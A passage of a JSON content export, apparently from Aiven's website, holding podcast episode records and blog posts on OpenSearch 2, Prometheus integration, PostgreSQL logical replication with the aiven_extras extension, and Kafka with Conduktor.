evolution of data streaming and the transformative impact of AI and cloud-native solutions.","title":"Navigating Kafka: Challenges, solutions, and the future of real-time data streaming","ytId":"h5QEW88bWiI"},"publishedAt":"2024-07-30T06:00:00.000Z","resourceTag":{"contentType":{"_ref":"d5d56f66-8954-4e91-a5d3-0120140d4564","_type":"reference"}},"seo":{"_type":"metaData","metaDescription":"Tune in to hear about the evolution of data streaming and the transformative impact of AI and cloud-native solutions.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-3a42b439e057fde17e87e0d917e6010817bb4307-1280x720-jpg","_type":"reference"}},"metaTitle":"Data (R)evolution: Navigating Kafka: Challenges, solutions, and the future of real-time data streaming"},"slug":{"_type":"slug","current":"/podcast/the-future-of-real-time-data-streaming"}} {"__i18n_lang":"en","_createdAt":"2024-08-09T11:42:38Z","_id":"3aaa69e4-c42e-490e-be8b-33cf8634a6cf","_rev":"msvVOwV0ly404Y5JqDd7lr","_type":"podcast","_updatedAt":"2024-08-09T12:08:43Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"bcefd162756f","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-e1e3483be5a20da5cbd36b35b5c2db4c339cb3d2-2802x2800-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"sm","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://www.youtube.com/playlist?list=PLo6PI-0mPVLv1WCa38eHg887r97CYoSUE","title":"Subscribe and never miss an episode"},"roundedCorners":"rounded-none","tagline":"Podcast series: Data (R)Evolution","text":[{"_key":"30c3338adba8","_type":"block","children":[{"_key":"4bc1bc1f7f03","_type":"span","marks":[],"text":"Data drives innovation and revolutionizes the tech world. Data (R)evolution, powered by Aiven, explores the intersections of data, AI, innovation, and economics through the ever-evolving landscape of cloud technology. Led by hosts Francesco Tisiot and Janki Patel Westenberg, navigate this digital revolution in conversation with experts at the forefront of change."}],"markDefs":[],"style":"normal"}],"title":"Topics around data, innovation and economics in a rapidly-changing cloud world.","topOverlap":false,"variant":"mediaLeft"},{"_key":"4fc8310986da","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"54a51f45d65c","_ref":"ac4c312d-4d76-409c-bd4f-818a311a0bca","_type":"podcast"},{"_key":"80db901bec6f","_ref":"14add270-c3e5-4eba-bbb1-0afad4642af4","_type":"podcast"},{"_key":"891a57e53360","_ref":"0a3b8c9d-d307-423b-8b15-08ab4722965c","_type":"podcast"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","tagline":"Watch the series","topOverlap":false},{"_key":"bb5835edd552","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"155ef4e338ef","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"},{"_key":"b0b57ccba22b","_ref":"6c342edc-53ce-4963-8f9f-8de3eee5cf51","_type":"reference"}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-t","title":"Hosts","topOverlap":false,"variant":"withBio"},{"_key":"bbcab54b9f04","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"2a883ba00ba7","_ref":"0ea12376-56da-4d7f-a2db-a547576f273a","_type":"reference"},{"_key":"250ff8a091fe","_ref":"09143464-8f84-4bd5-abcc-b053c9031383","_type":"reference"}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","title":"Guests","topOverlap":false,"variant":"withBio"}],"contentIsGated":false,"demioEvent":{"demioSubmitText":"Register"},"downloadText":"Download","hasVideo":true,"registerForm":{"iframeHeight":800},"subtitle":[{"_key":"26907d8a5ac8","_type":"block","children":[{"_key":"cd2a39e5a9580","_type":"span","marks":[],"text":"Navigating the startup landscape in the cloud era is crucial. But luckily, the Aiven platform empowers startups to succeed in this competitive and dynamic environment. "}],"markDefs":[],"style":"normal"},{"_key":"a00b4ea6dcfa","_type":"block","children":[{"_key":"757a058b8304","_type":"span","marks":[],"text":"In this Data (R)evolution episode, Aiven’s Ian Massingham and Angie Byron discuss the transformative impact of cloud computing on startups and the benefits of leveraging open-source technology. They dive into the common challenges early-stage startups face, the importance of agility and flexibility in scaling, and the role of Aiven's Cluster program in supporting startup growth. Our discussion highlights the synergy between open-source best practices, multi-cloud capabilities, and the strategic allocation of resources—essential factors for thriving in the modern startup ecosystem."}],"markDefs":[],"style":"normal"},{"_key":"cfd7a88de180","_type":"block","children":[{"_key":"157c39bddf28","_type":"span","marks":["strong"],"text":"Key takeaways:"}],"markDefs":[],"style":"normal"},{"_key":"18fe7c381a68","_type":"block","children":[{"_key":"774bc4d4fb3c0","_type":"span","marks":[],"text":"Leveraging open-source technologies enables startups to quickly prototype, scale, and avoid reinventing the wheel using proven solutions backed by vast developer communities."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"1c6123bec6bd","_type":"block","children":[{"_key":"5813e7b1d167","_type":"span","marks":[],"text":"Flexibility to pivot and adapt rapidly is crucial for startups to find product-market fit and address unexpected challenges and opportunities as they grow."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"10ebb16ce73c","_type":"block","children":[{"_key":"f6318599502a","_type":"span","marks":[],"text":"Programs like Aiven's Cluster offer valuable resources and credits that allow early-stage startups to build robust data infrastructure on multiple cloud platforms without substantial initial capital investment."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a4c2b4aa9614","_type":"block","children":[{"_key":"b977ab38d0340","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"summary":"Discussion about the synergy between open-source best practices, multi-cloud capabilities, and the strategic allocation of resources—essential factors for thriving in the modern startup ecosystem.","title":"Fueling startup innovation through Aiven’s cluster program","ytId":"0qPGu6f75Wk"},"publishedAt":"2024-08-06T06:00:00.000Z","resourceTag":{"contentType":{"_ref":"d5d56f66-8954-4e91-a5d3-0120140d4564","_type":"reference"}},"seo":{"_type":"metaData","metaDescription":"Discussion about the synergy between open-source best practices, multi-cloud capabilities, and the strategic allocation of resources—essential factors for thriving in the modern startup ecosystem.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-92fdfc50c1e325a6071df7083e16730f2b78b759-1280x720-jpg","_type":"reference"}},"metaTitle":"Data (R)evolution: Fueling startup innovation through Aiven’s cluster program"},"slug":{"_type":"slug","current":"/podcast/fueling-startup-innovation-through-aivens-cluster-program"}} {"__i18n_lang":"en","_createdAt":"2024-08-09T12:03:37Z","_id":"a407d90f-c5c2-410c-99d4-be29ba060b49","_rev":"g4AdlhnoQkF9DUwGBOJ1Rr","_type":"podcast","_updatedAt":"2024-08-21T14:33:23Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"bcefd162756f","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-e1e3483be5a20da5cbd36b35b5c2db4c339cb3d2-2802x2800-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"sm","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://www.youtube.com/playlist?list=PLo6PI-0mPVLv1WCa38eHg887r97CYoSUE","title":"Subscribe and never miss an episode"},"roundedCorners":"rounded-none","tagline":"Podcast series: Data (R)Evolution","text":[{"_key":"30c3338adba8","_type":"block","children":[{"_key":"4bc1bc1f7f03","_type":"span","marks":[],"text":"Data drives innovation and revolutionizes the tech world. Data (R)evolution, powered by Aiven, explores the intersections of data, AI, innovation, and economics through the ever-evolving landscape of cloud technology. Led by hosts Francesco Tisiot and Janki Patel Westenberg, navigate this digital revolution in conversation with experts at the forefront of change."}],"markDefs":[],"style":"normal"}],"title":"Topics around data, innovation and economics in a rapidly-changing cloud world.","topOverlap":false,"variant":"mediaLeft"},{"_key":"4fc8310986da","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"891a57e53360","_ref":"0a3b8c9d-d307-423b-8b15-08ab4722965c","_type":"podcast"},{"_key":"f59cf54d7c69","_ref":"3aaa69e4-c42e-490e-be8b-33cf8634a6cf","_type":"podcast"},{"_key":"80db901bec6f","_ref":"bdd4d4c8-2722-4874-9b17-1b95438522f7","_type":"podcast"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","tagline":"Watch the series","topOverlap":false},{"_key":"bb5835edd552","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"155ef4e338ef","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"},{"_key":"b0b57ccba22b","_ref":"6c342edc-53ce-4963-8f9f-8de3eee5cf51","_type":"reference"}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-t","title":"Hosts","topOverlap":false,"variant":"withBio"},{"_key":"bbcab54b9f04","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"5b44b6b84a99","_ref":"24db6ddd-5fa4-4dbb-90e1-7e24348843fe","_type":"reference"},{"_key":"ea0eae4f4e42","_ref":"7406d8d2-3acb-4a35-9f9d-1c8ce934d395","_type":"reference"}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","title":"Guests","topOverlap":false,"variant":"withBio"}],"contentIsGated":false,"demioEvent":{"demioSubmitText":"Register"},"downloadText":"Download","hasVideo":true,"registerForm":{"iframeHeight":800},"subtitle":[{"_key":"b01f6e07a6f8","_type":"block","children":[{"_key":"64417c922b640","_type":"span","marks":[],"text":"Open source software is a cornerstone of modern tech infrastructure, yet its sustainability is often precarious. "}],"markDefs":[],"style":"normal"},{"_key":"d010ef2422c3","_type":"block","children":[{"_key":"796be865d798","_type":"span","marks":[],"text":"In this episode of Data (R)evolution, Josep Prat and Floor Drees join host Francesco Tisiot to dive into the critical need for sustainable open-source. They emphasize the importance of supporting open-source projects to ensure their stability in the linguistic challenges around the word \"free\" in open source, and they share real-world threats, such as a recent attack on the XZ package. Tune in to learn about the evolving landscape of open source, its challenges, and how we can all contribute to its future security and viability."}],"markDefs":[],"style":"normal"},{"_key":"cfd7a88de180","_type":"block","children":[{"_key":"157c39bddf28","_type":"span","marks":["strong"],"text":"Key takeaways:"}],"markDefs":[],"style":"normal"},{"_key":"a7f66e00daed","_type":"block","children":[{"_key":"3ef2c056271e0","_type":"span","marks":[],"text":"Ensure the sustainability of open source projects by encouraging multiple contributors and reducing dependency on a single maintainer"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"01029e451681","_type":"block","children":[{"_key":"ce8cef5609c4","_type":"span","marks":[],"text":"Companies should use open source for financial benefits and actively contribute code, time, and resources to these projects"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"4b739d8da89e","_type":"block","children":[{"_key":"884d59dcc646","_type":"span","marks":[],"text":"Evaluating the health of open-source projects involves a combination of numerical data, public information, and community understanding"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"}],"summary":"Discover the evolving landscape of open source software, a cornerstone of modern tech infrastructure facing sustainability challenges, and learn how we can contribute to securing its future.","title":"Making open source more secure and sustainable","ytId":"0jUgIsorAHw"},"publishedAt":"2024-08-20T06:00:00.000Z","resourceTag":{"contentType":{"_ref":"d5d56f66-8954-4e91-a5d3-0120140d4564","_type":"reference"}},"seo":{"_type":"metaData","metaDescription":"Discover the evolving landscape of open source software, a cornerstone of modern tech infrastructure facing sustainability challenges, and learn how we can contribute to securing its future.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-1eb436ba92a4385be9ad6c1d09f170632b777a0e-1280x720-jpg","_type":"reference"}},"metaTitle":"Data (R)evolution: Making open source more secure and sustainable"},"slug":{"_type":"slug","current":"/podcast/making-open-source-more-secure-and-sustainable"}} {"__i18n_lang":"en","_createdAt":"2022-10-04T12:10:49Z","_id":"f9628a31-e100-4e82-98d6-1df9eb0a5fb4","_rev":"FJE9FJz5NeK3Yo2P5NLGcC","_type":"post","_updatedAt":"2023-06-14T10:00:19Z","authors":[{"_key":"17c88e516e13","_ref":"LvoXSx2wcnnIY178tIEa3","_type":"reference"}],"body":"[OpenSearch](https://aiven.io/blog/introduction-to-opensearch) has introduced its first major version upgrade since its first launch last year, with a wealth of new capabilities and performance enhancements. This [fully open source ElasticSearch fork](https://aiven.io/blog/migrate-elasticsearch-client-to-opensearch) is backed by a strong community dedicated to its further development - and of course, Aiven is an enthusiastic part of that community.\n\nWhat can the new version do for you? \n\n## OpenSearch 2 highlights:\n### Performance improvements with Lucene 9.1\nOpenSearch now equips the latest version of Apache Lucene, which helps improve performance, as well as providing faster I/O and faster indexing.\n\n### Document-level alerting\nOpenSearch 2 offers the capability to monitor and generate alerts on document level. Furthermore, OpenSearch 2 introduces a Notification plugin to centralize all notifications for your OpenSearch instead of having to manually configure alerts in each individual plugin.\n\n### ML Commons upgrades\nOpenSearch provides an upgrade to the previous ML Commons Plugin to handle additional workloads. With this new version, OpenSearch introduces new algorithms for linear regression and localization on top of the previous K-means and RCF to simplify development of ML models.\n\n### Already an Aiven for OpenSearch 1 customer?\nIf you already use Aiven for OpenSearch 1 and want to benefit from these new features and performance improvements, you can upgrade as you see fit. Aiven will continue to support OpenSearch 1 for the time being, and we have provided a safe upgrade path from your current version to Aiven for OpenSearch 2.\n\n\u003e **Note** OpenSearch version 2 removes mapping type parameters in all of its API endpoints, and indexes are categorized by document type going forward. For further details, take a look [here](https://github.com/opensearch-project/opensearch/issues/1940).\n\n--\n\nIf you have any other feedback or questions, drop in on Aiven at [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/). Make sure to follow our [blog](https://aiven.io/blog) RSS feeds and take a look at our [documentation](https://docs.aiven.io/), and if you want the latest news about Aiven and our services - plus a bit extra on all things open source - [subscribe to our monthly newsletter](https://aiven.io/newsletter)!","categories":[{"_key":"77784df28d0d","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"},{"_key":"375411a99b45","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"},{"_key":"28e4c5888831","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-20a03c069ad62ecab78e6a60f692f44c53be197a-1567x844-png","_type":"reference"}},"publishedAt":"2022-10-06T04:44:35.747Z","seo":{"_type":"metaData","metaDescription":"Aiven now offers OpenSearch® 2 as a managed service. Let’s take a look at how we’re bringing it to you and what the key improvements are.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-20a03c069ad62ecab78e6a60f692f44c53be197a-1567x844-png","_type":"reference"}},"metaTitle":"OpenSearch® 2 service and key improvements | Aiven blog"},"slug":{"_type":"slug","current":"/blog/aiven-introduces-opensearch-2"},"subtitle":"Aiven now offers OpenSearch® 2 as a managed service. Let’s take a look at how we’re bringing it to you and what the key improvements are.","title":"Aiven introduces OpenSearch® 2!"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5aYgO7vYYL8HPjDWuUlMSV","_rev":"QRl2cGoCgj0FlAhkRrhWUd","_type":"post","_updatedAt":"2022-09-08T16:15:49Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"We are excited to announce our third metrics integration, Prometheus. Aiven users can now send their Kafka, PostgreSQL, Elasticsearch/OpenSearch, and Redis metrics to their Prometheus monitoring and alerting servers.\n\n\u003e Modeled after Google’s Borgmon, Prometheus was released in 2012 and has quickly become the most popular Open Source monitoring and alerting tool available.\n\nHowever, its popularity was just one of the reasons why we chose to support it as an integration on the Aiven platform. Its active community and features also made it an obvious choice as the next integration.\n\n### PromQL and integrations\n\nA number of characteristics make Prometheus a powerful tool, but perhaps the most significant is its query language. Among other capabilities, users can build complex alerts based on a number of factors off of this.\n\nAdditionally, its integrations allow Prometheus to receive and send metrics from popular databases like PostgreSQL, as well as a number of other sources, such as visualization tools and messaging systems.\n\nThis makes sense because Prometheus is highly capable, but not always the best option for certain functions. For example, although it can be used as a time-series database, it is not ideal for long-term storage.\n\nThe same goes for visualization. Consequently, it is best used as a monitoring and alerting tool in combination with components such as TimescaleDB for long-term, time-series storage and Grafana for visualization.\n\n### Prometheus’s delivery model and its side benefit\n\nThe metrics delivery model of Prometheus uses a pull model where the server connects to HTTP servers running on the monitored nodes and pulls the metrics from them. Because of this approach, the metrics are available not just for Prometheus but for any app that can read the Prometheus format from the HTTP server running on Aiven nodes.\n\n### How to get Prometheus and integrate it\n\nThere are two primary binaries for Prometheus: one for the monitoring and alerting system itself and one for the alert manager. The alert manager handles tasks such as routing, silencing and inhibition.\n\nFor those of you who don’t have Prometheus and are interested in learning more about its features and integrations, visit their homepage [here](https://prometheus.io). To get Prometheus and other components, visit the [Prometheus download page](https://prometheus.io/download/).\n\nIf you are already using Prometheus and would like to connect your Aiven cloud Kafka, PostgreSQL, OpenSearch or Redis with it, visit our help article on [using Prometheus with Aiven services](https://help.aiven.io/en/articles/2473061-using-aiven-with-prometheus).\n\n### Wrapping up\n\nWe are excited to offer Prometheus as an integration option for our users. This is due large in part to our community’s active feedback on what they’d like to see from our service offering; so please, keep giving it!\n\nAnd stay tuned for even more updates. In the meantime, be sure to subscribe to our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds, as well as our [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to make sure that you always know the latest with Aiven!\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3hq53G6n8APkncElOzXCgv","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-c1b88e99f148bc1bcf4cd8160d13cf1566f2f1fa-752x405-png","_type":"reference"}},"publishedAt":"2018-11-28T00:00:00.000Z","seo":{"metaDescription":"Prometheus is a popular open-source monitoring and alerting toolkit that can now be integrated with Aiven. Learn the ins and outs here.","metaImage":{"alt":"","asset":{"_ref":"image-c1b88e99f148bc1bcf4cd8160d13cf1566f2f1fa-752x405-png","_type":"reference"}},"metaTitle":"Prometheus can now be integrated with Aiven"},"slug":{"_type":"slug","current":"/blog/prometheus-can-now-be-integrated-with-aiven"},"subtitle":"Prometheus is a popular open-source monitoring and alerting toolkit that can now be integrated with Aiven. Learn the ins and outs here.","title":"Prometheus can now be integrated with Aiven"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6q2Ct4Z3GJj2FctvVs2MKX","_rev":"QRl2cGoCgj0FlAhkRrhY45","_type":"post","_updatedAt":"2022-09-08T16:16:11Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"There have been a multitude of ways to perform logical replication, such as trigger-based replication. But, they all have come with significant shortcomings either in performance or operational complexity.\n\n\u003e The release of PostgreSQL 10's logical replication fundamentally changed this by allowing easy, performant logical replication to be performed out-of-box.\n\n[PostgreSQL 10’s support for logical replication using publish/subscribe](https://www.postgresql.org/docs/10/release-10.html) made it possible for a number of use cases, such as replicating a subset of tables in a database or performing no-downtime upgrades between major versions.\n\n### Why we didn't support logical replication immediately\n\nYou might be asking why this hasn't been supported on Aiven if PostgreSQL 10 supported it out-of-box. The short answer?\n\n**It requires superuser privileges to perform it**; and, we can’t grant them to our main database user, avnadmin because we need to ensure our level of service. But, it got us thinking,\n\n\u003e If we allow avnadmin to create databases and roles at will, would it be possible to support publish/subscribe-style logical replication?\n\n### Aiven's open source extension for logical replication\n\nAfter all, some DBaaS vendors patched their PostgreSQL services with proprietary changes to allow them to grant these privileges to non-superusers roles, but we wanted to do something better: **we tried to do it as an Open Source PostgreSQL extension.**\n\nThe result? **Aiven-extras**. Simply put, this extension creates functions that allow users to perform publish/subscribe-style logical replication without a superuser account as the functions themselves are run with superuser privileges.\n\nNow that we know why it’s important and what we did to make it possible for Aiven PostgreSQL users, let’s look at a simple example of replicating a single table with a single column.\n\n### Example of publish/subscribe-style logical replication\n\nAs stated previously, we’ll replicate a single table called *foo* that has a single column called *id* in it:\n```\nsource $ CREATE TABLE foo (id INT);\nsource $ INSERT INTO foo VALUES (1), (2);\n```\nPostgreSQL 10 defined `PUBLICATION`s as entries that define the tables that are to be replicated which are in turn `SUBSCRIBED` to by the receiving database.\n\nWhen creating a publication you can also define which operations should be transferred. For example, you can define that only `INSERT`s should be replicated but not `UPDATE`s and `DELETE`s. In this example we'll replicate all three types of operations:\n```\nsource $ CREATE PUBLICATION pub1 FOR TABLE foo WITH (publish='insert,update,delete');\n```\nNext, we’ll log into the destination database that will be receiving the changes from the source database and begin by creating the new aiven_extras extension:\n```\ndestination $ CREATE EXTENSION aiven_extras CASCADE;\n```\nAs PostgreSQL's logical replication doesn't copy table definitions, we need to copy them with something like `pg_dump`:\n```\n$ pg_dump --schema-only postgres://avnadmin:lab0h4c84r38heui@source-demoprj.aivencloud.com:26882/defaultdb?sslmode=require | psql postgres://avnadmin:o42w0sjr80esj967@destination-demoprj.aivencloud.com:26882/defaultdb?sslmode=require\n\n```\nor, if there are only a few tables to be defined, we can simply define them with the appropriate `CREATE TABLE` statements:\n```\ndestination $ CREATE TABLE foo (id INT);\n```\nOnce the table definitions are present in the destination PostgreSQL, we can create a `SUBSCRIPTION` to start replicating changes from the source database:\n```\ndestination $ SELECT * FROM aiven_extras.pg_create_subscription('subscription', 'host=source-demoprj.aivencloud.com password=lab0h4c84r38heui port=26882 dbname=defaultdb user=avnadmin sslmode=require', 'pub1', 'slot', TRUE, TRUE);\n```\nAs the pg_subscription catalog is superuser-only we need to use the `aiven_extras.pg_list_all_subscriptions()`function from aiven-extras to see that the subscription was indeed created successfully.\n```\ndestination=\u003e SELECT * FROM aiven_extras.pg_list_all_subscriptions();\nsubdbid | subname | subowner | subenabled | subconninfo | subslotname | subsynccommit | subpublications\n---------+--------------+----------+------------+------------------------------------------------------------------------------------------------------------------------+-------------+---------------+-----------------\n 16394 | subscription | 10 | t | host=source-demoprj.aivencloud.com password=lab0h4c84r38heui port=26882 dbname=defaultdb user=avnadmin sslmode=require | slot | off | {pub1}\n(1 row)\n```\n\nOnce the subscription has been created you can execute:\n```\ndestination $ SELECT * FROM foo;\nid\n----\n 1\n 2\n(2 rows)\n```\nAnd we can see that the data was copied successfully from the source database.\n\nIt is also important not to leave unused replication setups, because the underlying replication slots in PostgreSQL make sure that the server keeps all the data needed to replicate from that time forward; and, if no-one is reading the data stream it will keep ever growing amounts of data on disk until it eventually gets full.\n\nOnce we know we want to get rid of a subscription, we can run:\n```\ndestination $ SELECT * FROM aiven_extras.pg_drop_subscription('subscription');\n```\nTo see that everything got cleaned up correctly, you can list all the subscriptions again to see that the one you deleted is really gone:\n```\ndestination $SELECT * FROM aiven_extras.pg_list_all_subscriptions();\n subdbid | subname | subowner | subenabled | subconninfo | subslotname | subsynccommit | subpublications\n---------+---------+----------+------------+-------------+-------------+---------------+-----------------\n(0 rows)\n```\nAnd finally here's an example for publishing all the tables in the source side database with the help of the aiven-extras extension.\n\nWhile `CREATE PUBLICATION` doesn't require superuser privileges if you publish just an enumerated list of tables, it does require it if you want all the tables to be published.\n```\nsource $ CREATE EXTENSION aiven_extras CASCADE;\nsource $ SELECT * FROM aiven_extras.pg_create_publication_for_all_tables('pub2', 'INSERT');\nsource $ SELECT * FROM pg_publication;\n pubname | pubowner | puballtables | pubinsert | pubupdate | pubdelete\n---------+----------+--------------+-----------+-----------+-----------\npub1 | 16393 | f | t | t | t\npub2 | 16393 | t | t | f | f\n(2 rows)\n```\n### Wrapping up\nPublish/subscribe based logical replication greatly increases the utility of Aiven PostgreSQL. And with the open source **aiven_extras** extension, you will now be able to use logical replication within Aiven.\n\nAlthough it can be used for replicating a subset of tables in a database or performing no-downtime upgrades between major versions, one of its most interesting use cases is migrating your PostgreSQL database from one cloud to another.\n\nSoon, we’ll cover migrating your database in another post. In the meantime, join our [blog](https://aiven.io/blog/feed.xml) and [changelog](https://aiven.io/changelog/feed.xml) RSS feeds; or, follow us on [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io).\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-490b09aa4a2cc832cdbdcd94b07cdf614b3d3f8d-752x405-png","_type":"reference"}},"publishedAt":"2018-08-17T00:00:00.000Z","seo":{"metaDescription":"With the help of our open source extension, Aiven users can perform logical replication without superuser roles. Read this post to learn more.","metaImage":{"alt":"","asset":{"_ref":"image-490b09aa4a2cc832cdbdcd94b07cdf614b3d3f8d-752x405-png","_type":"reference"}},"metaTitle":" Aiven PostgreSQL® now supports logical replication"},"slug":{"_type":"slug","current":"/blog/logical-replication-using-publish-subscribe-now-supported-by-aiven-postgresql"},"subtitle":"With the help of our open source extension, Aiven users can perform logical replication without superuser roles. Read this post to learn more.","title":" Aiven PostgreSQL® now supports logical replication"} {"__i18n_lang":"en","_createdAt":"2022-06-25T01:00:19Z","_id":"3clb6zkVKCIhajxdS9PZ6O","_rev":"QRl2cGoCgj0FlAhkRriTfm","_type":"post","_updatedAt":"2022-09-08T16:31:08Z","authors":[{"_key":"6T10aEUQnciMUdnmWvrkkO","_ref":"6T10aEUQnciMUdnmWvrkkO","_type":"reference"}],"body":"## Evaluating Apache Kafka®?\n[Apache Kafka](https://aiven.io/kafka) is incredibly popular and its power is proven. According to the Apache Software Foundation, more than 80% of all Fortune 100 companies trust Kafka to operate their production workloads. \n\nBut the truth is that Apache Kafka® needs a major investment of time and energy to operationalize, especially at scale. \n\nThe good news is your investment in Apache Kafka can be significantly de-risked. In this post, we introduce you to Aiven and the Aiven for Apache Kafka cloud service, and demonstrate how it works with Conduktor’s all-in-one Kafka management platform.\n\nWith Aiven you can deploy Apache Kafka on a secure, fully managed platform, while Conduktor makes you 10x more productive with Apache Kafka. It’s a seriously easy win-win solution.\n\n## Aiven for Apache Kafka works for you\nAiven takes 100% open source database and streaming projects and provides them as fully-managed cloud services for customers all over the world, across all major cloud providers. The Apache Kafka code you’re running on your localhost or your cloud provider of choice is the same code Aiven installs when provisioning your Kafka clusters. \n\nNot only do we use 100% open source Kafka, but we also contribute back to the open source community. For example, when Confluent changed their open source license for the Schema Registry, Aiven developed a [drop-in replacement for the Schema Registry called Karapace](https://aiven.io/blog/what-is-karapace) and shared it with the open source community.\n### Aiven has your back with 99.99% uptime\n\nAt a minimum, Aiven provisions Apache Kafka in a 3 node cluster, distributing the nodes evenly across the availability zones of the cloud region you select. But you can scale to 30+ nodes, and Aiven’s solutions architects can build custom plans to meet specific requirements. \n\nAiven takes care of the VM provisioning, setup, security, and the day-to-day operations of keeping your Kafka cluster running at a 99.99% SLA. And over the past rolling 36 months, we’ve observed closer to 99.997% uptime. \n\nWe rebalance clusters transparently for our customers, in a self-healing manner. \n\n### Four years of Apache Kafka\n\nAiven has been running Apache Kafka as a fully-managed cloud service for 4 years. That’s longer than any other provider of Apache Kafka as a service.\n\nIn those four years, the Apache Kafka ecosystem has also grown significantly, and is one of the main reasons why so many developers choose Apache Kafka today. \n\nWhile many of the tools in Apache Kafka’s orbit are either sources of data or sinks for data, there are also tools built to make working with Apache Kafka way, way easier – like Conduktor.\n\n## Meet Conduktor\nA new member of the Kafka ecosystem, Conduktor is leading the charge when it comes to simplifying the Kafka journeys of companies around the world, while also educating the broader Apache Kafka community. Check out their [Conduktor Kafkademy](https://www.conduktor.io/kafka) to start leveling up!\nWith more than 60,000 users across 9,000 organizations, Conduktor provides a powerful GUI working with Apache Kafka. From cluster monitoring to data awareness and exploration, Conduktor makes 